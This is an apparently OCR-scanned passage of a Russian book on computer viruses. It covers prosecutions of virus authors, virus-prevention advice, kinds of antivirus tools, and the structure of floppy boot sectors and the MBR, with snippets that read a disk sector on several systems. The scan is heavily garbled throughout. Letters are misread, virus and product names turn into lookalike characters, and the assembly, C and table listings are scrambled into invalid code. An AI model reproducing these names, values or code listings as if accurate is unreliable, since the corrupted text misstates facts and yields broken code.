Крис Пайл по прозвшцу В1аск Вагоп. Ему инкриминировались как 
создание внсокосложной полиморфной технологии 5МЕС и виру- 
сов на ее основе, так и ряд несанкдионированннх проникновений 
в чужие внчислительнме системн. В ходе судебного разбирательства 
вняснилось, что сам факт написания крайне сложннх для обнару- 
жения и излечения саморазмножаюшихся программ преступлением 
не является, хотя именно это обстоятельство более всего раздража- 
ло профессиональнмх вирусологов -  экспертов по делу Пайла. Зато 
Пайла осудили за умншленно вставленнне в вирус 5МЕС.Ра4Ьо§ел 
деструктивнне фрагментьх и за компьютернне «взломн». «Чернмй 
Барон» получил 18 месяцев тюрьмм.

Последние годн XX века ознаменовались рядом вирусннх панде- 
мий, ставших возможньши благодаря повсеместному распростране-

1 Подробнее об этом инцнденте можно прочитать в главе, посвявденной сете- 
вмм червям и вирусам.
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нию глобальной сети Интернет. В апреле 1999 г. мир бнл последова- 
тельно потрясен сначала атакой внешне безобидного сетевого червя 
МеИзза, заполнившего своими бесконтрольно распространяюшими- 
ся копиями даже крупнне каналн компьютерннх коммуникаций, 
а затем -  катастрофической активацией деструктивной процедурн 
вируса \Уш9Х.С1Н. Полиции разньтх стран сработали оперативно и 
в короткие сроки обнаружили злоумьшленников -  Дэвида Смита из 
Нью-Джерси и тайваньского студента Чен Инг Хау. Прокурор требо- 
вал для Смита 15 лет, но в итоге суд ограничился 20 месяцами заклю- 
чения в федеральной тюрьме США. А Чен Инг Хау повезло еше боль- 
ше -  его судили по тайваньским законам и в результате длительного 
разбирательства посчитали адекватннм наказанием срок заключения 
под стражу на этапе следствия; на пользу ему снграло то обстоятель- 
ство, что как раз на Тайване вирус не произвел масштабннх повреж- 
дений.

В новом веке информация о новнх инцидентах потекла широким 
потоком со всех концов света. В большинстве случаев речь шла о поч- 
товнх и сетевьгх червях -  программах, которне с ужасаюшей скоро- 
стью распространялись по Интернету, заражая в течение нескольких 
суток десятки и сотни тнсяч машин.

Осенью 2000 года бнл арестован (но в итоге сумел избежать нака- 
зания) филиппинец Онель де Гузман, обвиненньш в создании вируса 
УВЗ.ЬоуеЬеМег.

В феврале 2001 года сам пришел в полицию и получил 150 часов 
исправительннх работ голландский школьник Ян де Вит (известннй 
как ОпТЬеҒ1у), виновньш в создании и распространении червя «Анна 
Курникова» (он же УВЗ.Ьее). Декабрь того же года стал «судньш 
днем» в судьбе четнрех израильских школьников -  авторов вируса 
Не£-\¥огш.Сопег,

В 2003 г. за создание и распространение в Интернете червей N0 1- 
\Уогт.Сокаг, Ке1-\Уогт.Кес1е81 и КеС-\¥огт.Ас1ппгег угодил за 
решетку сроком на 2 года британец Саймон Вэллор, а чуть позже 
предстали перед судом автор вируса №(:-Шэгт.\Ут32.Ьоуе5ап.Ь 
американец Джефри Ли Парсон (он в итоге «заработал» 18 месяцев 
тюрьмн плюс 225 часов обвдественннх работ) и автор модификации 
^е4-\Уогт.\Ут32Хоуе$ап.Грумнн Дан Думитру Чобану (он мог по- 
лучить от 3 до 15 лет, но отделался легким испугом). В том же году 
в р}тси шведского правосудия попал автор вируса №С-\Уогт.Са1к 1а.

«Урожайннм» вндался и 2004 год. Задержана, провела ночь в поли- 
Ции и отпувдена 19-летняя бельгийка С^аЬуСе, написавшая несколь-
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ко малораспространеннмх и неопасншх вирусов (например, \Уш32. 
ЗЬагре!). В Германии предстал перед судом и получил 21 месяц тюрь- 
мн условно Свен Яшан -  автор некоторнх разновидностей вирусов 
^е1-\Уогт.5а88ег и №1-\¥огт.Ке1:зку. Чешская полиция допросила 
с пристрастием студента Марека Штрихавку (он же Веппу/29А) по 
поводу авторства червя № £-\Уогт.51аттег, в чем он в итоге и со- 
знался, правда, без неприятннх последствий для себя, поскольку за 
распространение «заразн» по миру ответственнн бнли совсем другие 
люди. В Венгрии за червя ^е^-^огт.М а^оМ .а бнл осужден к 2 годам 
условно и штрафу в $2400 некто «Ласло К». В том же году Ижевский 
суд приговорил к двум годам условно и 3000 руб. штрафа Евгения 
С. (он же \УЪа1е) за создание и обнародование исходннх текстов не- 
скольких «концешуальньтх » вирусов.

В 2005 г. арестованн турок Атилла Экичи и марроканец Фарид Эс- 
себар -  автори червей Не1>\Уогт.2оЬоЪ и Не1-\¥огт.Му1:оЬ.

Май 2006 г.: в Воронеже за поддержку интернет-сайта, содержахце- 
го несколько тнсяччужих вирусов (включая и \Уш9Х.С1Н), получил 
2 года условно Сергей К. (что дало повод ряду наивннх и доверчивнх 
отечественннх СМИ провозгласить поимку автора «Чернобьшьско- 
го» вируса).

Зи.мой 2007 г. в Китае арестован и упрятан за решетку сроком на 
4 года некто Сю Кинь -  автор «пандового» вируса. Летом того же года 
испанская полиция вьтследила и арестовала человека, обвиняемого 
в создании и распространении нескольких вариантов «телефонннх 
вирусов» СаЬ»г и Сошпг^агпог.

В начале 2009-го в Калининграде подвергли суду и оштрафовали 
на 3000 руб. незадачливого вирусописателя Дмитрия У., умудривше- 
гося заразить своим вирусом около 200 компьютеров на другом конце 
странн -  в Ьлагове/ценске1.

Увн, в сети борцов с киберкриминалом в основном попадают- 
ся лишь вирусописатели-одиночки, ушерб от действий которнх не 
слишком велик. Хотя в 2009-2011 годах бнли проведенн несколько 
массовнх полицейских акций с участием силовнх структур разннх 
стран, в результате которьхх арестованн несколько десятков человек, 
ликвидированн или взятн под контроль несколько «ботнетов», эти- 
ми действиями затронута лишь самая верхушка айсберга организо- 
ванной киберпреступности.

1 Журналистм бнстренько раэдули это число до «нескольких готен», потом 
до «почти тьгсячи» и, наконец, до «нескольких тьюяч», прнчем даже не «за- 
ражешшх», а «уничтоженннх».
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Разнме странм, разнне люди, разнме последствия распростране- 
ния вирусов, разнме мерм наказания. Не слишком ли либеральнн 
правоохранительнме и судебнме органм? И наоборот -  не слишком 
ли жестоко поступают они порой? Целесообразно ли применять к 
вирус0писате.адм-<!030рникам» закони, рассчитаннне на вирусопи- 
сателей-чгангстеров», и наоборот? Что конкретно надо ставить ав- 
торам вирусов в вину -  попнтку сочинить примитивннй вирус или 
конкретннй ухцерб?

Следует признать: единой точки зрения на эту проблему не сувде- 
ствует. Такое положение дел порой позволяет злодеям оставаться без- 
наказаннь1ми, но доставляет массу неприятностей мирннм «исследо- 
вателям» и «коллекционерам» вирусов.

Однако пусть согласованием точек зрения занимаются юристн. 
Нас же буд\т интересовать технические и математические аспектн 
феномена компьютерних вирусов.

1.7. Обшие сведения о способах борьбь! 
с компьютернь1ми вирусами

Он мьшруки холодной и горячей водой, двумя 
сортпамимъма и специалъпой жирологлацаю- 
1цей гшстпой, тпер их мочалкой и несколжими 
цетпочками различпой степепи жесппсости.

А. и Б. Стругацкие. «Улитка на склоне»

Несмотря на то что опасность вирусов во многих случаях является 
явно преувеличенной, бесконтрольное распространение «заразм» по 
компьютерам и сетям неприемлемо. Поэтому большое значение име- 
ют способн и средства борьбн с компьютерннми вирусами.

Прежде всего нужно обратить внимание на необходимость соблю- 
дения элементарннх правил профилактики.

Во-первнх, это необходимость резервного копирования наиболее 
важной и ценной информации. Никакие вирусьх и программно-аппа- 
ратнне сбои не страшнм тому пользователю, кто регулярно сохраня- 
ет результатн своей работн на сменном винчестере, на ленточннх и 
дисковнх накопителях или просто на дискетах или флэшках. Значи- 
тельная часть файлов любой операционной системн тоже может бнть 
легко восстановлена без переинсталляции, простнм копированием 
с- «чистого» оригинала.
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Во-втормх, это использование самого обьисновенного здравого 
смнсла при повседневной работе с компьютером. Правил не очень 
много, все они простн и легко внполнимн:

О никогда не оставляйте гибкий диск или СО/ВУВ в дисководе 
при перезагрузке компьютера (если это не требуется в связи 
с какой-нибудь нетривиальной операцией типа установки но- 
вой операционной системн);

О не запускайте программн и не загружайте документм заведомо 
подозрительного происхождения (взятне из йнтернета, с пи- 
ратских компакт-дисков и прочие);

О не посешайте интернет-ресурсн с заведомо сомнительннм со- 
держимнм (порносайтн, хранилшца «бесплатннх» музнкаль- 
ннх и видеофайлов, коллекции серийннх номеров для воро- 
ванннх программ и т. п.);

О не открнвайте подозрительннх почтовнх вложений (напри- 
мер, файлов, чье расширение не совпадает с реальннм типом), 
даже если они пришли по Е-таИ от знакомого человека;

О ограничивайте бесконтрольньш доступ к вашему компьютеру 
лиц, спосЬбньтхзанести туда «заразу» со своих носителей, и т. д.

Кроме того:
О установите в положение «запись в Ғ1азЬ-ВЮ8 запрешена>> пе- 

ремьмки на материнской плате компьютера;
О установите атрибутн завдитм от записи на наиболее важннх 

файлах операционной системн и прикладннх программ, на- 
пример на файле МОКМАЬ.ООТ, расположенном в каталоге 
шаблонов текстового процессора М5 \¥огЛ;

О установите в положение «включено» флажки режима загцитн 
от исполнения макросов в М5 \¥ог<1;

О переведите в положение «запись запрешена» шторки и наклей- 
ки зашитн от записи на дискетах, предназначенннх для хране- 
ния редко обновляемой информации;

О включите режим «У1гиз ргосесПоп» в ВЮ5 Зесир, предупреж- 
даюший пользователя о попнтках записи информации в си- 
стемнне области винчестера;

О запретите автозапуск программ со съемннх носителей -  СО- 
дисков и «флэшек», это можно сделать вручную в Реестре, 
либо проинсталлировав специальную «заплатку»;

О если компьютер подключен к сети, включите «брандмауэр» 
(«файрволл»), то есть программу, ограничиваюшую как входя- 
шую, так и исходяшую сетевую активность компьютера;
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О если компьютер подключен к сети, то не оставляйте на нем 
обвдедоступнмх («расшаренних») ресурсов, в крайнем случае 
исгтользуйте в этом качестве только отделънне каталоги;

О не работайте в операционнмх системах класса \А/тс1о\уз 
КгГ/2000/ХРЛг1я1'л/7 от имени пользователя с привилегиями 
•«Администратора », а в 11КТIX- подобнмх операционньгх систе- 
мах с привилегиями «гооГ»’а.

Эти методн обшего назначения не дают стопроцентной гарантии, 
но позволяют сутдественно снизить риск заражения компьютерньш 
вирусом.

Описаннь1е внше подходн не отменяют необходимости исполь- 
зования специализированннх антивирусннх средств -  антивирусов. 
11о принципу действия антивирусн делятся на несколько групп.

Наиболее известнн и популярнн так назнваемме антивирусн-скя- 
нерь1 -  программн, предназначенннми для обнаружения вирусов в 
памяти, внутри файлов и служебннх областей носителей информа- 
ции. Они обьмно работают в «симбиозе» с антивирусами- -  
программами, предназначенньтми для удаления известнмх вирусов 
из зараженннх объектов. Такие «комплекснне» антивирусьт назн- 
ваются сканерами-фагами (если предназначенн для борьбн с одним 
вирусом) или сканерами-полифагами (если рассчитанм на борьбу 
со множеством различннх вирусов). Пример сканера-фага: утилита 
КкЬКШег (2009 г.), предназначенная для обнаружения и удаления 
червя Юс1о (он же Сопйскег). Примерм сканера-полифага: антиви- 
русная программа А^сЬТез! Д. Н. Лозинского (1989-1997 гг.) и со- 
временная утилита С,иге1Т И. Данилова. Но возможнн и сканери. 
которне не являются фагами. и фаги, не являюшиеся сканерами. 
Например, ранние версии антивирусного пакета от МсАГее состояли 
из двух независиммх компонентов: 1) программа 5САК только обна- 
руживала вирусн в файлах; 2) программа СГЕАХ виполняла лишь 
операцию удаления указанного вируса из файла.

Эффективно также работают антивируснне инспектори (или дис- 
петчери) -  программн, собираюшие сведения о текушем программ- 
но-аппаратном состоянии компьютера и регулярно следяшиеза всеми 
изменениями. Это позволяет обнаруживать все искажения программ- 
ной средн и файловой системн вне зависимости от того, кем или чем 
они бнли произведенн. Пример: антивирус Ас11п£ Д. Ю. Мостового 
и В. С. Ладнгина.

Огромную пользу приносят так назнваемме мониторь/, которме 
в резидентном режиме постоянно отслеживают и блокируют все ви-



48 ❖ Обшие сведения о компьютерньк вирусах

русоподобнне действия программ и любме операции с зараженнмми 
объектами (например, копирование документов, запуск программ 
и т. п.). Разновидностъю мониторов можно считать файрволлм (они 
же брандмауэри) -  резидентнне блокировшики несанкционирован- 
ного сетевого обмена.

Также к антивирусам можно отнести вакцинатори -  программм, 
видоизменяюшие программно-аппаратную среду таким образом, что 
вирус не может работать.

Большинство современньтх антивирусних продуктов совмешают 
в себе различньте функции.



ГЛАВА

Зафузочнь1е вирусь!
В системнмх областях дисковмх устройств -  винчестеров и дис- 
кет -  присутствуют специальнне программнме компонентм, обеспе- 
чивакяцие начальную загрузку операционнмх систем. Вредоноснне 
программм, заражаюшие эти программнне компонентм, известнм 
с 1986 г. -  они назмваются загрузочньит или ЬооС-вирусами. Этот тип 
компьютерной «заразн» доставлял немало хлопот пользователям 
1980-1990-х годов, но в новом веке, казалось, бмл «окончательно по- 
бежден» и «вьшер». Однако в последние годм появились очень слож- 
нне и опаснме вредоноснме программн, используюгцне в точности 
те же технолопга, -  «буткити». И, судя по всему, их история только 
начинается.

2.1. Техническая информаиия
...Всего-то в ней деа медньгх диска с чайное 
блюдце... Нет, ребята, тяжело эту шту- 
ку описать, если кто не видел, очень уж от  
проста на вид...

А. и Б. Стругацкие. «Пикник на обочине»

Для понимания принципов функционирования загрузочннх вирусов 
необходимо разобраться в устройстве дисковнх носителей и в том, 
каким образом после включения компьютера происходят загрузка и 
запуск операционних систем.

Все дисковне устройства имеют единую «геометрию»1. Очень гру- 
бо и упрошенно дисковое устройство можно представить в виде па- 
кета круглнх пластин, насаженннх на обшую ось (см. рис. 2.1). На 
поверхность пластин нанесен магнитньш слой, которнй хранит ин-

1 Здесь не рассматриваются СГ)/ГЗ\.;0  или «флэшки». Заражение их воэмож- 
но, но на практике не встречается.
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Рис. 2.1 ❖ Логическая организация 
дискового устройства

формацию, записмваемую или считмваемую при помовди магнитньхх 
головок, колнчество которнх равио количеству рабочих поверхно- 
стей. На винчестерах, как правило, присутствуют несколько рабочнх 
поверхностей, а на дискетах только две: нулевая и первая.

Участки дисковой поверхности, предназначенние для хранения 
информации, образуют ряд концентрическнх окружностей -  доро- 
жек (тпреков). Самая ближняя к внешнему краю диска дорожка имеет 
номер 0, следуюхцая -  номер 1 и т. д. На дискетах количество дорожек 
бнвает 40 или 80, на винчестерах типичное количество -  несколько 
сотен или тнсяч. Совокупность всех дорожек, равноудаленннх от 
оси и расположенних на всех рабочих поверхностях, носит назва- 
ние цилиндра. Каждая магнитная дорожка разбита на ряд сектпоров, 
нумеруеммх от 1 и до максимального значения, которое для дискет 
составляет 9,15 или 18, а для винчестеров достигает иногда несколь- 
ких сотен. По умолчанию в сектор стандартного размера возможно 
записать 512 байт информации.

Любой сектор можно однозначно идентифицировать, задав трой- 
ку {цилиндр, головка, сектор}. Например, самий первьга сектор на 
дисковом устройстве, в котором располагается крохотная программа 
начальной загрузки, имеет координатн {0,0,1}; первнй сектор второй 
по счету головки {1,0,1}; первнй сектор второго по счету цилиндра 
{0,1,1} и т. п. Такой способ нумерования секторов характерен для
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СН5-адресации (от англ. суИпс1ег -  цилиндр, кеас1 -  головка чтения- 
записи, ,чес1ог -  сектор).

Сугцествует и другой способ адресации конкретного сектора. Мож- 
йо присвоить стартовому сектору диска номер 0, следуюшему за ним 1, 
потом 2 и т. д. Такая «абсолютная» адресация секторов носит наимено- 
вание 1.ВА (от англ. 1оф:а! ВЬск АМ гех  -  Логический адрес блока). 
Формула пересчета из СН8 в 1.ВА вь1глядит следуювдим образом:
^ьвл = КМ кс + М5Н + .<> -  1,
где И1ВА -  абсолютньга номер сектора (начиная с 0); ЛГ5 -  количество 
секторов на дорожке; Л̂ , -  количество головок (рабочих поверхно- 
стей); с, А и 5  -  номер дорожки, номер головки и номер сектора на 
дорожке соответственно. Именно ЬВА используется на современнмх 
винчестерах большого объема, но в эпоху расцвета загрузочнмх виру- 
сов почти всегда применялась «троичная» система адресации.

Работа с дисковьш устройством через контроллер дисковода или 
винчестера довольно сложна. Поэтому в КОМ ВЮ5 каждого РС- 
совместимого компьютера записанн стандартнме процедурм, обес- 
печиваювдце доступ к дисковмм устройствам. Большинство стармх 
снстемнмх и прикладнмх программ, в том числе и некоторне опера- 
ционньте снстемн (например, МЗ-БОЗ), пользуются при обрашении 
к дискам именно процедурами ВЮ5. Современнме же операционнме 
системм (Ш1п<1ои'5, клонм ИМ1Х и т. п.) обрашаются к ВЮ5 исклю- 
чительно редко. предпочитая работать с контроллером устройства на- 
прямую. Тем не менее начальная загрузка любмх операционнмх си- 
стем до сих пор возможна только средствами стандартнмх процедур 
ВЮ5, и никак иначе1.

Доступ к дисковьш процедурам ВЮ5 возможен через программ- 
ное прермвание 13Ь. Также эти процедурм (в той части, которая каса- 
ется работм с дискетами) имеют еше одну точку входа -  через прерм- 
вание 40Ь. Интересно, что обработчик прермвания 40Ь располагается 
в КОМ ВЮ5 практически всегда по адресу Ғ000Ь:ЕС59Ь. Приведем 
примерм чтения с винчестера содержимого загрузочного сектора 
с адресом {0,0,1} с использованием этой процедурм.

Вариант на язнке Ассемблера в М 5-Э05:
Ш0У аЬ. 2 ; Команда "Читать сектоо"
т0У в1, 1 ; Количество читаенмл секторов равио 1

1 Планируется, что перспективнме архитектурм на базе спецификации ЕҒ1/ 
Ь!ЕҒ1 обойдутсябеэ ВЮ5.
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ясл/ си, 0

?Г,ОУ 01,
жоу ап» 
тоу <31, 
гюу ез, 
то^ ох, 
тт 13(1

1
0
801-1
8ЕС В ^ Г е г  
0ҒҒ8ЕТ ВиТГег

Номер цилиндра равен 0; старшив бчти числа
могут оазме(ц8ться в с1
Номвр читаемого сектора равен 1 
Номер головки равен 0
80П -  код винчеотера, 0 и ’  -  дкскет А. и 3: 
Сегмент буфера даннмх 
Смешение буфера данннх 
Собственно вмполнение операции чтения

Вариант на язьже Си в М 5-008:
сяб = 2; .// Команда "Читать сектор"
пзеоз=1: / /  Кояичвство читаемнх секторов равно 1
*гаск=0; / /  Номер цилиндра равен 0
8вс1ог=1; / /  Номвр читаемого сектора равен 1
Ьеай = 0; / /  Номер головки равен 0
огн -е  = 0x80; / /  80п -  код первого винчестерэ; кодн 0 и 1

/ /  соответствуют дискоеодам А: и В: 
гези1Т=ЬЮ5а15к(с®й, йг1Уе, Иеай. ТгасК, зесто г, пзесз, Ри-Г);

Возможно это и в других операционннх системах. Вот как можно 
прочитать сектор дискового устройства в \\Лпс1о\\'5 9Х:
#йеТ1г.е и 1НЗ?..0100..000 IНТ" 3 4
т у р е а е т  з г г и с !  О Ю С й е д з  {

оиояо гед.ЕВХ;
м о н о гед_Е0Х;
0И0Й0 гед_ЕСХ;
ОйОЙО гед_ЕАХ;
ОйОЙО гед_Е01;
ОйОНО гед_Е51;
ОйОЯО гед_Ғ1ад5;

010С_КЕСГ5ТЕН5, -РОГОС_ЯЕОГ5ТЕЯ5;

0Г0С_КЕС13ТЕВ5 г;

НАШ1Е (1 = С геатеҒ11е( " \ \ \ \ ■ \ \уи !п32  ’ , 0, 0,
Ш И ,  0, Ғ11_Е_Ғ!_АС_ОЕ1ЕТе_0Н_С1.О5Е, N1111);

г.гед_ЕАХ=0х201; 
г. гед_ЕВХ=(СМ0В0) &ВиГ; 
г.гед_ЕСХ=0х0001; 
г.гед_Е0Х=0;
0еу1се1оСояТго1(П, М1М32_010С_003_1НТ13 , &г,

з1 гео Т (г) , &г, 512еоТ(г), &п, 0 );

Возможно это и в \¥1пс1о\\’5-семействах КТ:
ВУТЕ тЬ г[512 ]; 0М0Й0 Й«НеаЯ;



Техническая информаиия ❖ 53
НАИВЬЕ ПВ1зк = С г е а Т е Ғ И е ( " \ \ \ \ .  \ \°Ь у з1 са 10 гп 'е 0 ” , 8ЕМЕЯ1С_йЕА0,

ҒИЕ_5НАВЕ_ВЕАВ, М Ш , 0 ҒЕ Н _ Е Х К ™ С , 0, и и и ) ;  
ВеааҒИе(11015к, &тЬг, 512, &а«Веай, N1111);

А вот пример для Ишх-подобннх операционннх систем:
1пт Т; упзхдлео спаг Ьи1“[5121:
^^срепС/йеу/Пйа", 0_В00МЬУ); 
геао(Т,  Ьи1\ 512);

Сразу после включения питания компьютера происходит аппарат- 
ннй сброс всех устройств, а счетчик команд устанавливается на на- 
чало кода программн Р05Т, которая размеодается в запревденном для 
записн решоне адресного пространства вместе с ВЮ5. Эта программа 
тестирует оборудование, производит, если нужно, его программную 
инициализацию, а вслед за этим начинает искать активное дисковое 
устройство, с которого возможна загрузка, -  винчестер или дискету.

В весьма редком случае, когда ни одного подходявдего устройства 
не найдено, -«доисторические» 1ВМ РС, загружали кассетную (рас- 
положенную в ПЗУ) версию интерпретатора язнка ВА51С, играв- 
шую роль встроенной операционной системн. Более поздние персо- 
налки в этом случае просто извешали: «N0 КОМ ВА51С, 5У5ТЕМ 
НАЬТЕО». Сообшення, вьтдаваемне загрузочннм блоком современ- 
ннх компьютеров, могут бьхть различньхми.

В современннх версиях программн 5ЕТИР есть опция, инструк- 
тируюшая программу Р 05Т  начинать поиск потенциального носите- 
ля операционной системн либо с дискетн, либо с винчестера, либо 
вообше игнорировать какие-либо устройства. Но в любом случае 
программа Р05Т  старается добраться до какого-нибудь дискового 
устройства, прочитать сектор {0,0,1}, загрузить его содержимое в ОЗУ 
по жестко фиксированному адресу 0:7С00Ь и передать туда управле- 
ние. С этого момента ВЮ5 компьютера снимает с себя всякую ответ- 
ственность за ход процесса загрузки.

В зависимости от того, с дискетн или с винчестера производится 
загрузка, содержимое сектора с адресом {0,0,1} различно. Различнн и 
сценарии процесса загрузки операционной системн.

2.1.1. Загрузка с дискетм
Предположим, что программа Р 05Т  нашла в кармане дисковода А: 
какую-то дискету. В этом случае, прочитав сектор {0,0,1}, она загрузит 
в память так назьтваемнй Ьоо1-сектор. Содержимое его может бнть
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различньш для дискет, отформатированннх при помоши разних про- 
грамм, таких как М5 ҒолпаС, ҒҒогта! А. Шамарокова, СепСга! Ро1п1 
РС ТоооЬ и прочие. Но обвдая структура ЬооС-сектора (см. рис. 2.2а) 
и функции содержавдейся в нем программьх-загрузчика стандартизо- 
ванн:

о г д  0

ЗгагИ:
]'шс з&огт Вед1п 
пор

; Таблица параметоое лискетн
0ЕМ_Ю вь 8 бир (?) 10 форматируюцей программм
5 е с8 и 0№ ? Раз.мер секторэ в байтах
С1и51г ЙЬ 9 Размер кластера в секторах
ЯезЗес ам 9 Число зарезервированнмх секторов
ҒАТз аь ? Чиоло ҒАТ на диске
В00Т312 ЙИ 9 Размео корневого каталога
N5603 си 9 Полное число секторов
Мес11а0зс йь аь о Байтовай 10 описания носителя: 

ОҒОЬ -  дистета 1.44 иб; 0Ғ8Н - 
жесткий диск и прочее

ҒАТ312 ам Раэмер ка*дого ҒАТ в свкторах
; Поля, используемне МЗ-005 версий стаоше 3.0
Т гкЗхг 0« ? Число секторов на дсрожке
МПеайв ОИ 0 Чиспо головок
; По лр , используемне МЗ-00$ аерсий стэрше 4.0
НхоЗесз оа ? Число скрктнх секторое
Уй1312 аа 9 Полное число сектороа
Сп^Ми* оЬ 9 Номер физичвского устр-ва
НезегчеЯ бЬ
ЕхГ8 1д аь 29п Признак расииренногс загрузчика
Уо13егМш( аа 0 Серийнмй номер тома
УоКаЬе! аЬ 11 аир (?) Нетка томэ
Ғ8уеЮ аь 6 йир (?) Строка -  тип файловой системи
; Начало программи загрузки оперзционной с и с т е т  
ВедШ:

с Н
хог ах,ах

; Текст сообцения, видэоиегося при невозможности эагрузки 
; операционной системи
Меззад СЬ 'Ноп-ЗузТеш С15к ог йхзк е г г о г ', 13,10

0Ь '8ер1асе апй ргезз впу кеу ияеп геаау ',0
; Имена файлов, в которул хранится ядро операционной системь 
Нате1 ЙЬ '10 ЗУЗ'
Иатег ОЬ 'КЗ-ООЗ ЗУЗ ',0 ,0
; Байтовая сигнатура зэгрузочного сектора 

огд 1ҒЕЬ
31 д п 0»» 0АА55П
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(]ЗМР I
Таблица параметров 
диска

Программммй код
загрузки

IАА55

Программиьйй код
загрузки

Табпица рааделов 
яиска IАА55

М Р
Таблица пзраметров 
диска

Программнмй код 
загрузки и 
инфицирования

Таблица раздеяов
Диска ГаА55

а б в

Рис. 2.2 ❖ Различнуе варианту содержимого сектора с адресом 
{0,0,1}: а) Воо1-сектор операционной системн (на дискете);

б) МВН -  главная загрузочная запись (на винчестере); 
в) типичное содержимое зараженного сектора

Первне три байта сектора зарезервированм под команду или груп- 
пу команд, служавдих для передачи управления на основной код за- 
грузчика.

Далее располагается таблица параметров дискетм, которая необ- 
ходима, чтобм стандартнне процедурн ВЮ5 сумели настроиться на 
конкретнне характеристики носителя при обрашении к нему Она 
имеет разньш размер в зависимости от того, какой программой и в ка- 
кой версии операционной системн производилось форматирование. 
Но для того, чтоби дискета оставалась «читабельной», необходимо 
предусмотреть наличие в таблице по крайней мере правильно запол- 
ненннх полей вплоть до «ҒАТ512».

Сразу пос ле таблицн параметров дискетн располагается программ- 
ньш код загрузочной программн. Эта программа должна найти в кор- 
невом каталоге дискетн файлн операционной системн, прочитать их 
в оперативную память и передать им управление. Указанная опера- 
ция внполняется успешно только в том случае, если дискета яв.ояется 
«системной», то есть содержит файли Ю.5У5 и М 5-Э05.5У51. Впро- 
чем, имена этих файлов зависят от версии загружаемой операцион- 
ной системн, например в «древних» версиях Р С -005  требовались 
файлн 1ВМВЮ.5У5 и 1ВМВ05.5У5. Если же программа-загрузчик 
не сумеет обнаружить «заветнне» файлн (что, вообвде говоря, прак- 
тически всегда случается, если пользователь просто использует дис-

1 Файл командного процессора С О М М А N Б . С О М в загрузке не участвует.
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кету для хранения своих даннмх), то она должна отреагировать на 
попнтку загрузиться с «несистемной» дискетн предупреждаюшим 
сообшением.

Последними двумя байтами в загрузочном секторе обязательно 
должнм бнть 55Ь и ОААЬ.

2.1.2. Загрузка с винчестера
Теперь рассмотрим случай, когда карман дисковода пуст, а в качестве 
носителя операционной системн внступает жесткий диск. Загрузка 
с винчестера, в отличие от загрузки с дискетьх, происходит в два этапа. 
В стартовом секторе винчестера располагается не загрузчик конкрет- 
ной операционной системьг, а так назьшаемнй тесистемньш загруз- 
чик. Кроме того, в том же секторе располагается таблица, описнваю- 
вдая логические разделн винчестера (РагГлиоп ТаЬ1е). Совокупноспз 
кода внесистемного загрузчика и таблицн разделов образует главную 
загрузочную запись -  МВК. (МакЬег Воо1 Кесог(1).

Содержимое стартового сектора винчестера с адресом {0,0,1} обнч- 
но имеет следуклцую структуру (см. также рис. 2.26);

о г д  0

; Начало программи внесистеиного загрузчига 
Зтагт:

с Н

]/ср  0000:70001] ; Пэредача улравления

; следуошвму э з гр у з ч и к у

; П рвдупре *д а««ий ссо са е н ия
Незз1 00 '1пуаНй р з г г и ю п  г аЬ1е ' . 0
Иеззг <30 'Е ггог  1оав1пд орегагт д зузтев', 0
МеззЗ со 'Маззшд оре гаттс  зузтеп:'.0

о г д  18ЕН

; Таолица описания рззделов ( Р а п Ш о п  Тао1е)
; (приведвна структура 1-ой "строки" таблицу иэ 4 возможних)
А сЯ уе ОЬ ? +00 -  Признэк активного раздела С80И или 0)
ВедНеай ЙЬ 7 +01 -  Головка 1-го сектора раздела
8едСу15ее 0» ? +02 -  Цилиндр/сектор 1-го сектора раздела
Туре аь ? +04 -  Тип (1/6/В -  ҒАТ12/16/32, 7 -  МТҒ5,.
Ғ1пНеаа йь ? +05 -  Головка последнего сектора раздела
Ғ1пСу15ес о* ? +05 - Цилиндр/сектор последнего секторэ
Ве1оЗес 00 ? +08 -  Относительнмй номер 1-го сектпра
РагИеп аО ? +10 - Количество секторов в разделе

; Байтовая сигнатура загрузочного сектора 
0 гд 1ҒЕИ

51дп ам 0АА55И
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Конец загрузочного сектора также занимает уникальнмй признак, 
состояидий из байтов 55Ь и ААЬ.

Непосредственно перед этим признаком располагается таблица 
описания разделов, занимаювдая 64 байта и состояшая из четьхрех 
записей (строк), каждая из которих описнвает один из разделов жест- 
кого диска. Если на винчестере суодествует только один раздел, то 
строки со второй по четвертую просто заполняются нулями. Таблица 
содержит информацию, необходимую для распределения простран- 
ства жесткого диска под разделм, причем каждий из разделов может 
бьпъ организован по своим правилам -  в соответствии с файловой 
системой ҒАТ НТҒ5, ЕХТҒ5 и др. Кроме того, один (и только один) 
раздел может бнть объявлен «активнмм», то есть предназначенньш 
для загрузки операционной системн (в поле АсЧлуе соответствуюшей 
строки должен стоять признак 80Ь).

Верхнюю же половину МВК занимает специальная программа, 
которая ишет в РагСШоп ТаЬ1е запись, соответствуюшую «активно- 
му» разделу, рассчитнвает (при помоши значений полей Ве^Неас! и 
Ве§Су15ес) местоположение стартового сектора этого раздела, счи- 
тьшает его содержимое при помоши командн 2 прерьшания 13Ь на 
свое место -  по адресу 0:7С00Ь -  и «длинной» командой }МР пере- 
дает туда управление. Разумеется, поскольку сама эта программа рас- 
полагается по адресу 0:7С00Ь, то она предварительно «перетаскива- 
ет» свою рабочую копию в другой регион памяти (обнчно в 0:600Ь). 
Запомните это обстоятельство!

Остается вняснить, что же именно загружается внесистемньш 
загрузчиком из стартового сектора того или иного раздела? Ответ 
прост: ЬооГ-сектор конкретной операционной системн, описание ко- 
торого приведено више -  при описании загрузки с дискетн. Таким 
образом, загрузка с винчестера вьшолняется в два этапа: загрузочнме 
сектора различннх типов поочередно считьшают друг друта и пере- 
дают друг другу управление.

Отметим также, что для винчестеров, разбитнх на разделн при по- 
моши стандартной >тилить1 Ғ015К, стартовнй сектор первого раз- 
дела обично размешается по адресу {1,0,1}. Поэтому практически 
вся так назнваемая «нулевая дорожка» винчестера, составленная из 
секторов с адресами вида {0,0,2}, {0,0,3} и т. д., остается пустой. Пу- 
стое пространство размером в несколько десятков килобайт активно 
используется вирусами и «буткитами», хотя там могут р а з м е ш д т ь с . я  

и даннне какой-нибудь полезной программн. Например, именно на 
нулевой дорожке хранят свой код драйвери программи ОпЬгаск
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Мапа§ег, предназначенной для поддержки работм стармх компьюте- 
ров с «большими» дисками (то есть с дисками, у которнх число ци- 
линдров превосходит 1024) и вмполняклцей перекодировку из «тро- 
ичной» системн адресации в ЬВА.

2.2. Как устроень! зафузочнью вирусь!
Он висел у меня над головой среди заплесневе- 
лих провоЬов... жалкий и нелепий, весъ в лох- 
мотъях от карбонной коррозии и в кляксах 
черной подземной грязи.

